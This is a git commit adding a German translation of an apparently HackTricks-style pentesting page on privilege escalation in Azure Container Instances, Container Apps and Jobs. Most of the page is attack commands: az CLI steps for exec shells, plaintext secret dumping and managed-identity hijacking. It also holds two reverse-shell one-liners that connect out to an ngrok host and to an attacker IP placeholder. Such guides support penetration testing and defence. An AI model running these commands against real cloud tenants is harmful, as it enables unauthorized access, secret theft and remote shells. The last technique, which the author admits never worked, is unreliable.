Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation

This commit is contained in:
Translator
2025-02-25 22:36:50 +00:00
parent 47a1a2df69
commit 7b21dd3d44

View File

@@ -0,0 +1,177 @@
# Az - Azure Container Instances, Apps & Jobs Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Azure Container Instances, Apps & Jobs
Für weitere Informationen siehe:
{{#ref}}
../az-services/az-container-instances-apps-jobs.md
{{#endref}}
## ACI
### `Microsoft.ContainerInstance/containerGroups/read`, `Microsoft.ContainerInstance/containerGroups/containers/exec/action`
Diese Berechtigungen erlauben es dem Benutzer, **einen Befehl** in einem laufenden Container **auszuführen**. Dies kann verwendet werden, um **Berechtigungen zu eskalieren** im Container, wenn eine verwaltete Identität angehängt ist. Natürlich ist es auch möglich, auf den Quellcode und andere sensible Informationen zuzugreifen, die im Container gespeichert sind.
Um eine Shell zu erhalten, ist es so einfach wie:
```bash
az container exec --name <container-name> --resource-group <res-group> --exec-command '/bin/sh'
```
Es ist auch möglich, die **Ausgabe** des Containers mit folgendem Befehl zu **lesen**:
```bash
az container attach --name <container-name> --resource-group <res-group>
```
Oder erhalten Sie die Protokolle mit:
```bash
az container logs --name <container-name> --resource-group <res-group>
```
### `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Diese Berechtigungen ermöglichen es, **eine benutzerdefinierte verwaltete Identität** an eine Containergruppe anzuhängen. Dies ist sehr nützlich, um Privilegien im Container zu eskalieren.
Um eine benutzerdefinierte verwaltete Identität an eine Containergruppe anzuhängen:
```bash
az rest \
--method PATCH \
--url "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerInstance/containerGroups/<container-name>?api-version=2021-09-01" \
--body '{
"identity": {
"type": "UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>": {}
}
}
}' \
--headers "Content-Type=application/json"
```
### `Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Diese Berechtigungen ermöglichen es, **eine Containergruppe zu erstellen oder zu aktualisieren**, die mit einer **benutzerverwalteten Identität** verknüpft ist. Dies ist sehr nützlich, um Privilegien im Container zu eskalieren.
```bash
az container create \
--resource-group <res-group> \
--name nginx2 \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--assign-identity "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>" \
--restart-policy OnFailure \
--os-type Linux \
--cpu 1 \
--memory 1.0
```
Darüber hinaus ist es auch möglich, eine vorhandene Containergruppe zu aktualisieren, indem beispielsweise das **`--command-line` Argument** mit einer Reverse-Shell hinzugefügt wird.
## ACA
### `Microsoft.App/containerApps/read`, `Microsoft.App/managedEnvironments/read`, `microsoft.app/containerapps/revisions/replicas`, `Microsoft.App/containerApps/revisions/read`, `Microsoft.App/containerApps/getAuthToken/action`
Diese Berechtigungen ermöglichen es dem Benutzer, **eine Shell** in einem laufenden Anwendungscontainer zu erhalten. Dies kann verwendet werden, um **Privilegien** im Container zu **eskalieren**, wenn eine verwaltete Identität angehängt ist. Natürlich ist es auch möglich, auf den Quellcode und andere sensible Informationen zuzugreifen, die im Container gespeichert sind.
```bash
az containerapp exec --name <app-name> --resource-group <res-group> --command "sh"
az containerapp debug --name <app-name> --resource-group <res-group>
```
### `Microsoft.App/containerApps/listSecrets/action`
Diese Berechtigung ermöglicht es, den **Klartext der Geheimnisse** abzurufen, die innerhalb einer Container-App konfiguriert sind. Beachten Sie, dass Geheimnisse entweder im Klartext oder mit einem Link zu einem Schlüsselbund konfiguriert werden können (in diesem Fall hat die App eine verwaltete Identität zugewiesen, die Zugriff auf die Geheimnisse hat).
```bash
az containerapp secret list --name <app-name> --resource-group <res-group>
az containerapp secret show --name <app-name> --resource-group <res-group> --secret-name <scret-name>
```
### `Microsoft.App/containerApps/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Diese Berechtigungen ermöglichen es, **eine benutzerdefinierte verwaltete Identität** an eine Container-App anzuhängen. Dies ist sehr nützlich, um Privilegien im Container zu eskalieren. Das Ausführen dieser Aktion über die az cli erfordert ebenfalls die Berechtigung `Microsoft.App/containerApps/listSecrets/action`.
Um eine benutzerdefinierte verwaltete Identität an eine Containergruppe anzuhängen:
```bash
az containerapp identity assign -n <app-name> -g <res-group> --user-assigned myUserIdentityName
```
### `Microsoft.App/containerApps/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`
Diese Berechtigungen ermöglichen es, **einen Anwendungscontainer zu erstellen oder zu aktualisieren**, dem eine **benutzerverwaltete Identität** zugeordnet ist. Dies ist sehr nützlich, um Privilegien im Container zu eskalieren.
```bash
# Get environments
az containerapp env list --resource-group Resource_Group_1
# Create app in a an environment
az containerapp create \
--name <app-name> \
--resource-group <res-group> \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--cpu 1 --memory 1.0 \
--user-assigned <user-asigned-identity-name> \
--min-replicas 1 \
--command "<reserse shell>"
```
> [!TIP]
> Beachten Sie, dass mit diesen Berechtigungen **andere Konfigurationen der App** geändert werden können, was es ermöglichen könnte, andere Privilegieneskalations- und Post-Exploitation-Angriffe durchzuführen, abhängig von der Konfiguration der vorhandenen Apps.
## Jobs
### `Microsoft.App/jobs/read`, `Microsoft.App/jobs/write`
Obwohl Jobs nicht so lange laufen wie Container-Apps, können Sie die Möglichkeit ausnutzen, die Befehlskonfiguration des Jobs beim Starten einer Ausführung zu überschreiben. Durch das Erstellen einer benutzerdefinierten Jobvorlage (zum Beispiel, indem Sie den Standardbefehl durch eine Reverse-Shell ersetzen) können Sie Shell-Zugriff innerhalb des Containers erhalten, der den Job ausführt.
```bash
# Retrieve the current job configuration and save its template:
az containerapp job show --name <job-name> --resource-group <res-group> --output yaml > job-template.yaml
# Edit job-template.yaml to override the command with a reverse shell (or similar payload):
# For example, change the containers command to:
# - args:
# - -c
# - bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/18224 0>&1
# command:
# - /bin/bash
# image: mcr.microsoft.com/azureml/minimal-ubuntu22.04-py39-cpu-inference:latest
# Update and wait until the job is triggered (or change ths type to scheduled)
az containerapp job update --name deletemejob6 --resource-group Resource_Group_1 --yaml /tmp/changeme.yaml
# Start a new job execution with the modified template:
az containerapp job start --name <job-name> --resource-group <res-group> --yaml job-template.yaml
```
### `Microsoft.App/jobs/read`, `Microsoft.App/jobs/listSecrets/action`
Wenn Sie über diese Berechtigungen verfügen, können Sie alle Geheimnisse (erste Berechtigung) innerhalb eines Job-Containers auflisten und dann die Werte der konfigurierten Geheimnisse lesen.
```bash
az containerapp job secret list --name <job-name> --resource-group <res-group>
az containerapp job secret show --name <job-name> --resource-group <res-group> --secret-name <secret-name>
```
### `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/jobs/write`
Wenn Sie die Berechtigung haben, die Konfiguration eines Jobs zu ändern, können Sie eine benutzerdefinierte verwaltete Identität anhängen. Diese Identität könnte zusätzliche Berechtigungen haben (zum Beispiel Zugriff auf andere Ressourcen oder Geheimnisse), die missbraucht werden können, um Privilegien innerhalb des Containers zu eskalieren.
```bash
az containerapp job update \
--name <job-name> \
--resource-group <res-group> \
--assign-identity <user-assigned-identity-id>
```
### `Microsoft.App/managedEnvironments/read`, `Microsoft.App/jobs/write`, `Microsoft.App/managedEnvironments/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Wenn Sie einen neuen Container Apps Job erstellen (oder einen bestehenden aktualisieren) und eine verwaltete Identität anhängen können, können Sie den Job so gestalten, dass er eine Nutzlast ausführt, die die Berechtigungen erhöht. Zum Beispiel könnten Sie einen neuen Job erstellen, der nicht nur eine Reverse-Shell ausführt, sondern auch die Anmeldeinformationen der verwalteten Identität verwendet, um Tokens anzufordern oder auf andere Ressourcen zuzugreifen.
```bash
az containerapp job create \
--name <new-job-name> \
--resource-group <res-group> \
--environment <environment-name> \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--user-assigned <user-assigned-identity-id> \
--trigger-type Schedule \
--cron-expression "*/1 * * * *" \
--replica-timeout 1800 \
--replica-retry-limit 0 \
--command "bash -c 'bash -i >& /dev/tcp/<attacker-ip>/<port> 0>&1'"
```
> [!TIP]
> Dieser Befehl wird einen Fehler auslösen, wenn Sie nicht die Berechtigung `Microsoft.App/jobs/read` haben, obwohl der Job erstellt wird.
### `microsoft.app/jobs/start/action`, `microsoft.app/jobs/read`
Es sieht so aus, als ob es mit diesen Berechtigungen möglich sein sollte, einen Job zu starten. Dies könnte verwendet werden, um einen Job mit einer Reverse-Shell oder einem anderen bösartigen Befehl zu starten, ohne die Konfiguration des Jobs ändern zu müssen.
Ich habe es nicht geschafft, es zum Laufen zu bringen, aber laut den erlaubten Parametern sollte es möglich sein.
{{#include ../../../banners/hacktricks-training.md}}